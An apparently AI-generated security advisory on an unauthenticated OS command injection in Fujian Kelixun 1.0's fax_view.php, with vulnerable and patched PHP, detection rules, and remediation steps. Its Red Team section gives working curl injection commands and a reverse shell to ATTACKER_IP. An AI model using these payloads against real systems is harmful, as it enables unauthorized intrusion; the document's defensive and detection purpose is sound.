CVE-2025-5106

Executive Summary

CVE-2025-5106 is a critical unauthenticated OS command injection vulnerability in Fujian Kelixun 1.0, specifically within the /app/fax/fax_view.php endpoint. The fax_file parameter is passed unsanitized to a system shell, allowing remote attackers to execute arbitrary operating system commands. The vendor was contacted but did not respond, leaving the product unpatched. Public exploit code is available, increasing the immediate risk to exposed instances. This vulnerability is classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command). No supply chain package (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): High (H) – Full system read access.
• Integrity (I): High (H) – Full system write access.
• Availability (A): High (H) – Full system disruption possible.

CVSS Score: 9.8 (Critical) – Immediate patching or mitigation is required.

Deep Dive & Mechanics

The vulnerability resides in the fax_view.php script, which handles file viewing for fax records. The fax_file parameter is used to construct a command to retrieve or display the fax file. The application fails to sanitize or escape user input before passing it to a shell execution function (e.g., exec(), system(), or shell_exec() in PHP). An attacker can inject command separators such as ;, |, &&, or backticks to execute arbitrary commands.

Example vulnerable code pattern (conceptual):

$fax_file = $_GET['fax_file'];
$command = "cat /var/fax/" . $fax_file;
system($command);

The attacker can supply fax_file=../../etc/passwd;id to execute id after the intended command.

Vulnerable vs. Patched Code

Vulnerable code (Fujian Kelixun 1.0):

<?php
$fax_file = $_GET['fax_file'];
$output = shell_exec("cat /var/fax/" . $fax_file);
echo "<pre>$output</pre>";
?>

Patched code (hypothetical – no official patch):

<?php
$fax_file = basename($_GET['fax_file']);
$fax_file = escapeshellarg($fax_file);
$output = shell_exec("cat /var/fax/" . $fax_file);
echo "<pre>" . htmlspecialchars($output) . "</pre>";
?>

The patched version uses basename() to strip directory traversal and escapeshellarg() to prevent command injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Fujian Kelixun 1.0 running on a Linux server (e.g., Ubuntu 20.04).
• Attacker: Kali Linux with curl/netcat.

Exploit (manual):

curl "http://target.com/app/fax/fax_view.php?fax_file=;id"

Exploit (automated with command execution):

curl "http://target.com/app/fax/fax_view.php?fax_file=;echo%20SHELL_SUCCESS"

Reverse shell (example):

curl "http://target.com/app/fax/fax_view.php?fax_file=;bash%20-i%20>&%20/dev/tcp/ATTACKER_IP/4444%200>&1"

Metasploit module (conceptual):

use exploit/multi/http/fujian_kelixun_fax_cmd_inject
set RHOSTS target.com
set TARGETURI /app/fax/fax_view.php
set CMD id
run

Blue Team (Defensive)

Detection:

• Monitor HTTP GET requests to /app/fax/fax_view.php with suspicious fax_file parameters containing shell metacharacters (;, |, &, `).
• Alert on outbound connections from the web server to unusual IPs/ports (e.g., 4444).
• Check for unexpected processes spawned by the web server user (e.g., www-data).

Honeypot:

• Deploy a decoy endpoint mimicking fax_view.php that logs all parameters and blocks the source IP.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /app/fax/fax_view.php with fax_file containing ;, |, &, `, $().
  • Outbound connections from the web server to attacker-controlled IPs on high ports (e.g., 4444, 1337).
• File System:
  • Unexpected files in /tmp/ or /var/www/ (e.g., shell.php, backdoor.sh).
  • Modified system binaries (e.g., /bin/ls replaced with a backdoor).
• Process:
  • Web server user (www-data) spawning shells (/bin/sh, /bin/bash).
  • Unusual child processes of apache2 or nginx.

Detection Engineering

YARA Rule

rule CVE_2025_5106_OS_Command_Injection {
    meta:
        description = "Detects OS command injection attempts targeting Fujian Kelixun fax_view.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5106"
    strings:
        $injection1 = "fax_file=;" ascii wide nocase
        $injection2 = "fax_file=|" ascii wide nocase
        $injection3 = "fax_file=&" ascii wide nocase
        $injection4 = "fax_file=`" ascii wide nocase
        $injection5 = "fax_file=$(" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-5106 OS Command Injection in Fujian Kelixun fax_view.php
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with command injection patterns in the fax_file parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "fax_file=;"
            - "fax_file=|"
            - "fax_file=&"
            - "fax_file=`"
            - "fax_file=$("
    condition: selection
falsepositives:
    - Legitimate use of semicolons in filenames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5106 OS Command Injection in Fujian Kelixun fax_view.php"; flow:to_server; content:"/app/fax/fax_view.php"; http_uri; content:"fax_file="; http_uri; pcre:"/fax_file=[^&]*[;|&`$]/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate (No Patch):
   • Disable or remove the /app/fax/fax_view.php endpoint if not essential.
   • Restrict access to the endpoint via firewall or web server ACLs (e.g., allow only trusted IPs).
   • Implement a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in the fax_file parameter.
2. Code Fix (If source available):
   • Use basename() and escapeshellarg() on the fax_file parameter.
   • Avoid passing user input directly to shell functions; use PHP’s readfile() or file_get_contents() with proper path validation.
3. Long-term:
   • Replace the vulnerable application with a supported alternative.
   • Conduct a security audit of all endpoints handling file operations.

Valters IT signature: This report is generated by Valters IT DevSecOps AI Assistant. For questions, contact security@valters.it.